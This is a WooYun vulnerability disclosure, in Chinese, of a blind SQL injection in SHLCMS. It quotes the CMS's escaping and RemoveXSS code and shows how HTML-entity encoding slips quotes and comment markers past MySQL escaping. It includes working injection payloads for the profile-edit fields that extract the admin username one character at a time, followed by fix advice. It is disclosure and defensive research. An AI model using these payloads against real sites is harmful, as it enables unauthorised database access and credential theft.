当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034885

漏洞标题:SHLCMS因逻辑问题造成过滤不严可SQL盲注

相关厂商:深喉咙企业网站系统

漏洞作者: 吴钩霜雪明

提交时间:2013-08-21 17:11

修复时间:2013-11-19 17:11

公开时间:2013-11-19 17:11

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-11-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SHLCMS因逻辑错误导致SQL注入

详细说明:

SHLCMS在xss过滤函数RemoveXSS()中为了过滤关键字更完全,将HTML编码转换回原来的字符,使得我们可以借HTML编码绕过mysql的关键字过滤。
Shlcms在index.php中对其所有入口参数进行了cleanArrayForMysql处理,如下:

$_REQUEST = cleanArrayForMysql($_REQUEST);
$_GET = cleanArrayForMysql($_GET);
$_POST = cleanArrayForMysql($_POST);
$request = $_REQUEST;


cleanArrayForMysql函数在inc/function.php中,如下

function cleanArrayForMysql($data)
{
if(!get_magic_quotes_gpc())
return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);
else
return $data;
}


但在留言板或用户资料等可以input的地方做了RemoveXSS处理
RemoveXSS()函数如下

function RemoveXSS($val) { 
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);

// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}


在函数中为了过滤关键字完全,将HTML编码进行了转换。
整理一下流程,我们输入的参数经过 cleanArrayForMysql()->RemoveXSS()->mysql_query();
限制是:RemoveXSS中过滤了逗号。php的mysql_query()不支持多语句执行。
于是:那些被cleanArrayForMysql了的敏感字符可以用HTML编码绕过,然后在RemoveXSS中被转回来
比如在会员中心的编辑资料处的SQL语句,可以这样注入
最后制造出来语句如下:
  UPDATE `shl_user` SET `nickname`='a'/*',`email`='[email protected]',`qq`='',`msn`='',`sex`=*/=(select case when (select username from (select * from shl.shl_user) as a where id=1) like 'a%' then 'a' else 'b' end),`address`='' WHERE `id` ='12' LIMIT 1
HTML编码关键字符后如下
  UPDATE `shl_user` SET `nickname`='&#x61;&#x27;&#x2f;&#x2a;',`email`='[email protected]',`qq`='',`msn`='',`sex`=&#x2a;&#x2f;=(select case when (select username from (select * from shl.shl_user) as a where id=1) like &#x27;a%&#x27; then &#x27;a&#x27; else &#x27;b&#x27; end),`address`='' WHERE `id` ='12' LIMIT 1

漏洞证明:

在会员中心登陆,基本资料-编辑处,编辑内容如下。
nikename:&#x61;&#x27;&#x2f;&#x2a;
sex:&#x2a;&#x2f;=(select case when (select username from (select * from shl.shl_user) as a where id=1) like &#x27;_____&#x27; then &#x27;a&#x27; else &#x27;b&#x27; end)

1.png


结论:id=1的username长度为5
nikename:&#x61;&#x27;&#x2f;&#x2a;
sex:&#x2a;&#x2f;=(select case when (select username from (select * from shl.shl_user) as a where id=1) like &#x27;a%&#x27; then &#x27;a&#x27; else &#x27;b&#x27; end)

1.png


结论:id=1的username以a开头
用PYTHON写个程序,在select语句中加入正则表达式,可以加快盲注速度。

修复方案:

逻辑严谨一点。
还有代码中发现很多错误。比如那个RemoveXSS()中过滤逗号的那一句应该是开发人员粗心写上去的(他应该只是想把逗号作为分隔符,正则基础不过关啊)(试想留言板不能用逗号那是不实际的)。还有RemoveXSS()那个应该是9ad不是9ab才对。

版权声明:转载请注明来源 吴钩霜雪明@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝